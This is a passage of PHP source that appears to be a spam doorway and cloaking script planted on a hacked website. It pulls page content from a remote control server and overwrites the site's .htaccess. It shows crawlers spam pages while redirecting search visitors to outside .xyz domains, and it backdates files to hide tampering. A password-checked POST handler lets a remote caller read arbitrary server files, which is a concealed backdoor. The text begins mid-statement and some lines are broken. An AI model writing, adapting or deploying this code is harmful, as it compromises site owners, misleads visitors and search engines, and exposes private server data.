FNUM)
die("The Number Must Lower Then " . FNUM);
$arrNumTemp = getMapNum($bgNum,$mapnum);
$rs = '##si';
$mapLogs = file_get_contents("./map.log");
foreach($arrNumTemp as $vss){
$vals = "id$vss.php";
if(JDT == 0 && $gnumber == 1){
if(strstr($mapLogs,'#sitemap.xml#') && file_exists('../indexing/sitemap.xml')){
echo $vals."
";
echo '../indexing/sitemap.xml successed
';
$gnumber++;
continue;
}
}elseif(JDT == 0){
if(strstr($mapLogs,'#site' . $arrABC[$gnumber-2] . 'index' .'.xml#') && file_exists('../indexing/site' . $arrABC[$gnumber-2] . 'index' .'.xml')){
echo $vals."
";
echo '../indexing/site' . $arrABC[$gnumber-2] . 'index' .'.xml successed
';
$gnumber++;
continue;
}
}
if(strstr($mapLogs,'#site' . $arrABC[$gnumber-1] . 'index' .'.xml#') && file_exists('../indexing/site' . $arrABC[$gnumber-1] . 'index' .'.xml')){
echo $vals."
";
echo '../indexing/site' . $arrABC[$gnumber-1] . 'index' .'.xml successed
';
$gnumber++;
continue;
}
for($i=0; $i<3; $i++){
$idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
$arrIdNameNow = array();
if(preg_match($rs,$tempIdStr,$matchIdName)){
$tparrIdName = explode('^^',$matchIdName[1]);
foreach($tparrIdName as $vs){
$tpArr = explode('^',$vs);
if(count($tpArr) == 2){
$arrIdNameNow[$tpArr[0]] = $tpArr[1];
}elseif(count($tpArr) > 2){
$tpstr = '';
for($j=1; $j";
die();
}
echo $vals."
";
if($gnumber == 1){
if(JDT == 1){
gsitemap($arrIdNameNow,2,1);
}else{
gsitemap($arrIdNameNow,1,2);
}
}else{
if(JDT == 1){
gsitemap2($arrIdNameNow,2,1); }else{
gsitemap2($arrIdNameNow,1,2); }
}
unset($arrIdNameNow,$tempArr1,$tempArr2); }
}
if(isset($_GET["ghtac"]) && $_GET["ghtac"]){
$dirNames = dirname(__FILE__);
$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
$PreDir = '';
if(JDT == 1){
$UrlBaseDir = $httcReplace; $RewriteOnDir = '';
}else{
$UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/';
}
$strhtt = '';
if (file_exists("$PreDir.htaccess")){
@chmod("$PreDir.htaccess",0755);
$strhtt = file_get_contents("$PreDir.htaccess");
}
if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
{
$strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'';
}else{
$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);
}
if(1){
$r0 = '#(.*RewriteEngine On.*)#i';
$r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
if(JDT == 0){
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. BZCAT . '-\d+-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*(site[a-z]+index\.xml)$ indexing/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ indexing/\$1 [L]' . PHP_EOL ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. BZCAT . '-\d+-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*(site[a-z]+index\.xml)$ indexing/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$ indexing/\$1 [L]' . PHP_EOL .'RewriteRule' ;
}else{
$rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. BZCAT . '-\d+-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ;
$rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. BZCAT . '-\d+-(.*)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ;
}
if(preg_match($r0,$strhtt)){
$strhtt = preg_replace($r0,$rsut,$strhtt,1);
}elseif(preg_match($r1,$strhtt)){
$strhtt = preg_replace($r1,$rsut,$strhtt,1);
}else{
$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
}
if(JDT == 1 or JDT == 0){
file_put_contents("$PreDir.htaccess", $strhtt);
}
}
die("ghtac ok");
}
if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
if(JDT==2){
$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
$tempSid = ''; $tempPid = '';
$r2='#.*-(\d+)'. JTHZ .'$#i'; $r3='#.*-(\d+)/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}else{
$r2='#'.BZCAT . '-\d+-(.*)'. JTHZ .'$#i'; $r3='#'.BZCAT . '-\d+-(.*)/$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1];
}else{
preg_match($r3,$UrlParent,$matches13);
if(isset($matches13[1]))
$tempPid = $matches13[1];
}
if($tempPid)
$_GET['cat']= $tempPid;
}
}
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
$tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
$r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i';
if(preg_match($r2,$UrlParent,$matches2)){
if(isset($matches2[1]))
$tempPid = $matches2[1]; }else{
preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
$tempPid = $matches13[1]; }
if($tempPid){
$_GET['id']= $tempPid;
}
}
function getRandStr(){
$arrABC = range('a','z'); shuffle($arrABC);
$randNum = rand(4,6);
$str = implode('',array_slice($arrABC,0,$randNum));
return $str;}
if(isset($_GET["id"]))
$id = $_GET["id"];
else{
if(isset($_GET["cat"])){
$rqurl = $_GET["cat"];
$logFileName = './idlogs.txt';
if(file_exists($logFileName)){
$arrUrlId = unserialize(file_get_contents($logFileName));
}else{
$arrUrlId = array();
}
if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
$id = $arrUrlId[$rqurl];
}else{
$arrUrlId[$rqurl] = getRandCId($rqurl);
$id = $arrUrlId[$rqurl];
file_put_contents($logFileName,serialize($arrUrlId));
@touch(dirname($logFileName), $fLogTime, $fLogTime);
@touch($logFileName, $fLogTime, $fLogTime);
}
}else{
$id = "180495"; //llq index id
}
}
$resid = '#^\d+$#';
if(!preg_match($resid,$id)){
exit;
}
$id23 = $id;
$siteid = MSID;
$siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
// $_SERVER["HTTP_REFERER"] = "google.com";
if(isset($_SERVER["HTTP_REFERER"])){
$referer = $_SERVER["HTTP_REFERER"];
$russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
$ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
$localIp = get_real_ip();
$is_or_no = is_ip($localIp,$ipRanges);
$iszz = isCrawler();
if(function_exists('gethostbyaddr')){
$hostname = @gethostbyaddr($localIp);
$is_g_ip = preg_match("#google#i", "$hostname") === 1;
}else{
$is_g_ip = 0;
}
if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){
$rsdom = '#^https?://www\.[^/]+/$#i';
$jumDom1 = 'http://www.'.$temp_abc.'.xyz'. DOMTXT . $siteid .".txt";
$jumDom2 = 'http://www.'.$temp_def.'.xyz'. DOMTXT . $siteid .".txt";
for($i=0;$i<2;$i++){
$domJump = curl_getjs_from_webpage($jumDom1,2);
$domJump = trim($domJump);
if(!preg_match($rsdom,$domJump)){
$domJump = curl_getjs_from_webpage($jumDom2,10);
$domJump = trim($domJump);
if(preg_match($rsdom,$domJump))
break;
}else{
break;
}
}
echo ''; die();
}
}
$fcontent = '';
$pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID";
$pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
$rsInfo = '#(.*)#si';
preg_match($rsInfo,$pInfoStr,$matchInfo);
if(isset($matchInfo[1])){
$InFoStrArr = unserialize($matchInfo[1]);
}else{
header("HTTP/1.1 404 Not Found");exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$nowIdName = $InFoStrArr['nowIdName'];
if(strstr($Ptitle,'#cat#')){
$tp_title_arr = explode('#cat#',$Ptitle);
$Ptitle = $tp_title_arr[1];
}
$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23);
if(count($catArr)){
$endCatName = end($catArr);
$beginCatName = $catArr[0];
$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
$beginCatName = '';
$endCatName = '';
}
if(function_exists("preg_split")){
$PtitleArr = preg_split('/\s+/us', $Ptitle);
}else{
$PtitleArr = explode(' ', $Ptitle);
}
$tpTitleArr = array();
foreach($PtitleArr as $vs){
$vs = trim($vs);
if($vs){
$tpTitleArr[] = $vs;
}
}
$numTitleArr = count($tpTitleArr);
$randTkeyI = RANDNUMI % $numTitleArr;
$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
$randTkeyII = RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
$randTkeyII = abs($randTkeyI-2);
}
$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
$addTopStr = '';
$addTopStr .= "
{$Ptitle}
";
$addTopStr .= $BreadStr.PHP_EOL;
$addTopStr .= "{$Ptitle}
".PHP_EOL;
$tpaddstr = '';
$tpaddstr .= $createTitleI .',';
$tpaddstr .= $pdescription;
$tpaddstr .= $createTitleII .',';
if($pkeywordYuanShi)
$tpaddstr .= $pkeywordYuanShi .'.
'. PHP_EOL;
else
$tpaddstr .= $pkeyword . $addKeyWordStr .'.'. PHP_EOL;
$addTopStr .= $tpaddstr;
$addStrII = '';
$addStrII .= "{$Ptitle}
".PHP_EOL;
if(isset($InFoStrArr['pdes'])){
$InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
$addStrII .= ''.$InFoStrArr['pdes']."
".PHP_EOL;
}
if(isset($InFoStrArr['nowPimgArr'])){
$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
foreach($tpImgArr as $tpimg){
$addStrII .= $tpimg."
".PHP_EOL;
}
}
$arrFlinks = array();
$fr1Strs = ''.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr1Strs .= '- '.$vs.'
'.PHP_EOL;
$arrFlinks[] = ''.$vs.'';
}
$fr1Strs .= '
'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = ''.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr2Strs .= '- '.$vs.'
'.PHP_EOL;
}
$fr2Strs .= '
'.PHP_EOL;
}
$addPdesStr = '';
$addPdesStr .= "{$Ptitle}
".PHP_EOL;
$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDes1 .= $tpdesVs . '.';
// echo $addStrDes1;
// exit;
}else{
$addStrDes1 .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDes1 = ''.$addStrDes1.'
'.PHP_EOL;
}
$addPdesStr .= $addStrDes1.PHP_EOL;
$addPdesStrII = '';
$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$temp_arr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
if(strstr($tpdesVs,'#cat#')){
$tp_name_arr = explode('#cat#',$tpdesVs);
$tpdesVs = $tp_name_arr[1];
}
$temp_arr[$tpdesKey] = $tpdesVs;
}
$tpDesNameArr = $temp_arr;
$lenthNameArr = count($tpDesNameArr);
$lenthFlinkArr = count($arrFlinks);
$numShan = intval($lenthNameArr/$lenthFlinkArr);
if($numShan < 1)
$numShan = 1;
$flag = 0;
$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
$shengyu = $shengyu - 2;
$bgnum = 0;
$endnum = $lenthNameArr - 1;
$arrKeyNum = array();
while($shengyu > 0){
$arrKeyNum[$bgnum++] = $numShan + 1;
$shengyu--;
if($shengyu > 0){
$arrKeyNum[$endnum--] = $numShan + 1;
}
$shengyu--;
}
$nowTempFlag = 0;
$nowTempNumFlag = 0;
$tempDesNameArr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
if($nowTempNumFlag < $nowLens){
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag++;
}else{
if(isset($arrFlinks[$nowTempFlag]))
$tempDesNameArr[] = $arrFlinks[$nowTempFlag++];
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag=1;
}
}
while($nowTempFlag <= $lenthFlinkArr-1)
$tempDesNameArr[] = $arrFlinks[$nowTempFlag++];
$tpDesNameArr = $tempDesNameArr;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDesII .= $tpdesVs . '.';
}else{
$addStrDesII .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDesII = ''.$addStrDesII.'
'.PHP_EOL;
}
$addPdesStrII .= "{$Ptitle}
".PHP_EOL;
$addPdesStrII .= $addStrDesII.PHP_EOL;
$addH3Str = "{$Ptitle}
";
$thisPnameLink = ''.$nowIdName.'';
$thisPnameLink2 = ''.$nowIdName.'';
$thisTitleLink = ''.$Ptitle.'';
$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;
$fileMb = fopen("moban.html","r");
$html = fread($fileMb,filesize("moban.html"));
$numBz = 0;
$titleKeys = KEYJG % 6;
$catUseKey = KEYJG % count($catArr);
$nowShowTitle = $catArr[$catUseKey] .' '. $Ptitle .' '. $thisdom;
$html = str_ireplace('#bbbtitsbbb#', $nowShowTitle, $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);
$html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html);
// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
if(strstr($html,'#link3#'))
if($flagH2I){
$html = str_replace('#link3#',$addPdesStr,$html);
$flagH2I = 0;
}else{
$html = str_replace('#link3#','',$html);
}
if(strstr($html,'#flink#'))
if($flagH2I){
$html = str_replace('#flink#',$addPdesStr,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#flink#',$addPdesStrII,$html);
$flagH2II = 0;
}else{
$html = str_replace('#flink#','',$html);
}
if(strstr($html,'#link4#'))
if($flagH2I){
$html = str_replace('#link4#',$addPdesStr,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link4#',$addPdesStrII,$html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#link4#',$addH3Str.PHP_EOL ."".$pkeyword . $addKeyWordStr."" ,$html);
$flagH2III = 0;
}else{
$html = str_replace('#link4#','',$html);
}
if(strstr($html,'#link5#'))
if($flagH2I){
$html = str_replace('#link5#',$addPdesStr,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link5#',$addPdesStrII,$html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#link5#',$addH3Str.PHP_EOL ."".$pkeyword . $addKeyWordStr."" ,$html);
$flagH2III = 0;
}else{
$html = str_replace('#link5#','',$html);
}
if(strstr($html,'#Flink2#'))
if($flagH2I){
$html = str_replace('#Flink2#',$addPdesStr,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#Flink2#',$addPdesStrII,$html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#Flink2#',$addH3Str.PHP_EOL ."".$pkeyword . $addKeyWordStr."" ,$html);
$flagH2III = 0;
}else{
$html = str_replace('#Flink2#','',$html);
}
$lastAddStrs = '';
if($flagH2I){
$lastAddStrs .= $addPdesStr . PHP_EOL;
}
if($flagH2II){
$lastAddStrs .= $addPdesStrII . PHP_EOL;
}
if($lastAddStrs){
$addStrII = $addStrII .PHP_EOL . $lastAddStrs;
}
$html = str_ireplace('#bbb2content2bbb#', '', $html);
$html = str_ireplace('#descontent#', $addStrII, $html);
$html = str_replace('#link1#','',$html);
$html = str_replace('#link2#','',$html);
$footKey = "{$Ptitle}
{$pdescription}".PHP_EOL;
$html = str_replace('